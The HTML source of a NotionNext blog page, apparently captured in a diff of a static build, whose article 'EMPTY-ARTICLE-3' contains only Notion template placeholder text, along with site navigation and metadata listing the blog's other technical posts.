transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">EMPTY-ARTICLE-3</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-47aba7062cde4eef9fb80cdd0f7805c9"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-blank notion-block-4f888598436f45ae8798cc8ab24c09c9"> </div><div class="notion-callout notion-gray_background_co notion-block-b695537b33d74ddda1e044bf5b40f53f"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-7ea9d2f5d18c4b1cb32e6875e9feb71d">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-c9343f3ddc2f4af98a250ad7c208ba60"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-45def72702f64deb83a969b7b266ee4d" data-id="45def72702f64deb83a969b7b266ee4d"><span><div id="45def72702f64deb83a969b7b266ee4d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#45def72702f64deb83a969b7b266ee4d" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-6316fbc9d6ed4f69af61a4d2259d9111" data-id="6316fbc9d6ed4f69af61a4d2259d9111"><span><div id="6316fbc9d6ed4f69af61a4d2259d9111" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6316fbc9d6ed4f69af61a4d2259d9111" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-4009c235486f46e0853afe8181429f05"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-bf80f9987dbb4ecb8327baa30c18b6d1" data-id="bf80f9987dbb4ecb8327baa30c18b6d1"><span><div id="bf80f9987dbb4ecb8327baa30c18b6d1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#bf80f9987dbb4ecb8327baa30c18b6d1" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-8459ea2cedbe4726a8a73ee8c80a3b94"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-4f1a0b85c149433db3c9b7f926541529" data-id="4f1a0b85c149433db3c9b7f926541529"><span><div id="4f1a0b85c149433db3c9b7f926541529" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4f1a0b85c149433db3c9b7f926541529" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-4af440a2cb6b448c8e5c346fa88279c7">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c76d05b0646b494b92ead9136d82500e" data-id="c76d05b0646b494b92ead9136d82500e"><span><div id="c76d05b0646b494b92ead9136d82500e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c76d05b0646b494b92ead9136d82500e" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-08164ae5c0d948b8a7eca27b3cfa0fd1"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-134041965553406589fd844340054d07"><li>引用文章</li></ul><div class="notion-blank notion-block-39ceea91795b42c2b94d0f61dd710407"> </div><div class="notion-callout notion-gray_background_co notion-block-66839f7d30bf492589d5b88afac3db8c"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=s